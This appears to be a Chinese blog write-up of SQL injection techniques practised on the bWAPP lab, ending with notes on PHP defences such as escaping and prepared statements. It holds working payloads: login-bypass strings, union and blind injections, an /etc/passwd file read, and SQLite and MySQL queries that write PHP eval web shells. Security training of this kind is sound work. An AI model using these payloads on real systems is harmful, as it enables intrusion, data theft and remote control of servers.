pdo mysql ascii_跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景
模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧。并研究下PHP的防御代码。
普通的bWAPPSQL注入的简单介绍
从get型search到CAPTCHA
简单级
#search
http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search
#select类
http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7
Login类--万能密码
#密码一栏填写
a' or '1'='1
#同理,账号一栏也可以随意,万能密码常用paylaod,列表
#asp与aspx
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
#PHP万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
#jsp 万能密码
1'or'1'='1
admin' or 1=1/*
sqlite注入
语句稍有不同,但也没什么区别
#注释符号用/**/
http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search
#可以写文件拿shell
#payload
select * from test where id =1 ;ATTACH DATABASE 'C:\\Sqlite\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
#数据包
POST /bWAPP/sqli_12.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_12.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add
类似的还有MySQL写文件获取的shell
# <?php @eval($_POST["cdjj"]);?>
select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'
插入注入
在sqlite写文件那个中需要插入注入或者非query注入才行,因为一个是PHP执行的exec函数,一个是执行的query函数,后者只运行select语句。Insert语句注入没有什么特殊的,本质是拼接insert语句而不是拼接select语句,注入的东西插入数据,在页面上回显出来可以看到。
POST /bWAPP/sqli_7.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_7.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1
entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add
LOAD_FILE('/etc/passwd') #MySQL读文件
有些HTTP Header头字段也可以注入
盲注
#布尔型,这里可以用 > < between做二分判断,between也可以用来绕过< >过滤
IF(substring(database(),1,1)=b,'YES','NO')
#时间型
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
#postgresql
pg_sleep(5)
编码和绕过
大小写绕过关键字检测
select->sELeCt
加分隔符绕过
select->sEL/**/eCt
空格转分隔符绕过或者括号绕过
union select->union/**/select
where 1=1->where(1=1)
URL转码
#->%23
十六进制编码绕过引号过滤(hex)
'users'->0x7573657273
char编码绕过(ascii)
Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
宽字节和双重编码
%xx%xx->(%xx%xx)%xx->括号中成为宽字节
双重编码%2527->第一次解码成为%27(因为%25URL解码就是%)->二次解码%27->'(单引号)
防御
函数防御
最好的选择:mysql_real_escape_string()
一般的选择:addslashes()
配置防御:
配置php.ini magic_quotes_gpc=On
PDO和预编译
先执行mysql连接对象的prepare函数准备sql语句的雏形,然后执行bind_param函数填充用户输入的数据。
使用PDO,先prepare,然后使用bindValue函数,与前者类似。
pdo mysql ascii_跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧相关推荐
- web漏洞开始,sql注入
第十一天,web漏洞必懂知识点 这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...
- Web安全篇之SQL注入攻击
在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...
- Web安全篇之SQL注入攻击(1)
文章来源 0day concept <web安全之SQL注入篇>课程简单介绍: SQL注入篇一共分为三讲: 第一讲:"纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入 ...
- web基础漏洞之SQL注入漏洞
先看菜鸟教程中HTTP的知识,HTTP是为了保证客户端与服务器之间的通信.HTTP的请求方法有两种:GET和POST.GET是从服务器上获得数据,POST是向服务器传递数据. Web 程序三层架构: ...
- web 漏洞入门之 —— SQL 注入教程
SQL 注入是最常见.最被人们熟知的 web 漏洞.根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...
- 【转】基于SQL的Web系统安全防范——SQL注入漏洞
攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...
- mysql%3e= %3c=某个时间_乐视网某站SQL注入3枚
乐视网某站sql注入一枚 http://ad.hz.letv.com/CJO/php/Save_ad_wph_cmt.php?remark=wph&name=1&text=%3Cinp ...
- Web安全渗透学习-SQL注入
SQL注入攻击 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令 ...
- 如何测试WEB应用程序防止SQL注入***
摘要: 在WEB应用程序的软件测试中,安全测试是非常重要的一部分,但常常容易被忽视掉.在安全测试中,防止SQL注入***尤其重要.本文介绍了SQL注入***产生的后果以及如何进行测试. 关键字:安全测 ...
最新文章
- 关于Python多线程的理解
- 八、linux以模块方式注册设备
- 分类器评价与在R中的实现:收益图与提升图
- 实现程序间的数据传递
- 【LINUX学习】链接文件
- 穿背心的老院士,86岁,重病,还在敲代码,单手!
- node.js 学习书籍推荐
- 招聘senior.net software engineer
- 下载论文的技巧及经验
- destoon 中国银联在线支付接口修改
- 图计算的黄金时代 知识图谱背后的数据价值
- 办公室远程 办公室远程,我看这四款行
- 2014最佳开源教程
- 数据结构——栈的基本操作
- Liunx系统格式化磁盘和挂载备份盘
- Angular self study 4 - data entered by end user
- 黑马程序员_日记9_Java学习感言
- Error while executing topic command : replication factor: 3 larger than available brokers: 0
- 去掉office2003盗版五角星的办法(组图)
- 预测房价--基于python的线性回归模型
热门文章
- 最近,4000余名工程师,集体重学数学!竟都只用这一招,快来!
- 开启中国区块链创造季! 2019区块链开发者大会来袭!(首批重磅嘉宾曝光)
- 程序员爬取 3 万条评论,《长安十二时辰》槽点大揭秘!
- 比 Java 更具争议的 PHP,处处留坑?
- 开源的全面胜利背后,那些被遗忘的人性问题
- 我为什么要用 Javascript 编写 CSS?
- 亚马逊被爆内部员工卖数据改差评,中国区尤为严重!
- 腾讯 WeGame 被迫下架《怪物猎人:世界》究竟该怪谁?| 畅言
- 腾讯网易已称王,今日头条有什么勇气来做游戏?
- 苹果为 macOS 重大漏洞道歉;迅雷内讧股价暴跌;小米百度在一起 | 一周业界事